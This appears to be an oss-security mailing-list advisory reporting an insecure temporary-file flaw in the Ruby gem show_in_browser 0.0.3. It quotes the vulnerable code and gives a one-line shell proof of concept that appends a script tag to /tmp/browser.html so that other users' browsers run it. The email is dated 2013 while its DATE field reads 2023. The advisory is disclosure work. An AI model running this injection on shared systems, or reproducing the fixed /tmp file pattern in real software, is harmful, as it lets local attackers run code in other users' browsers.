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Date: Fri, 17 May 2013 16:34:41 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability
TITLE: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability
DATE: 5/15/2023
AUTHOR: Larry W. Cashdollar (@_larry0)
DOWNLOAD: https://rubygems.org/gems/show_in_browser
DESCRIPTION: Opens arbitrary text in your browser
VENDOR: Jonathan Leung
FIX: N/A
CVE: TBD
DETAILS: The following code uses the temporary file "/tmp/browser.html" insecurely.
2 FILE_LOCATION = "/tmp/browser.html"
3
4 class << self
5
6 def show(html)
7 file = File.open(FILE_LOCATION, 'w')
8 file.write(html)
9 file.close
10
11 `open #{FILE_LOCATION}`
By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into the file right before it is about to be opened.
PoC:
nobody@...ter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done
Will pop up a java script alert in other gem users browser.
Content of type "text/html" skipped
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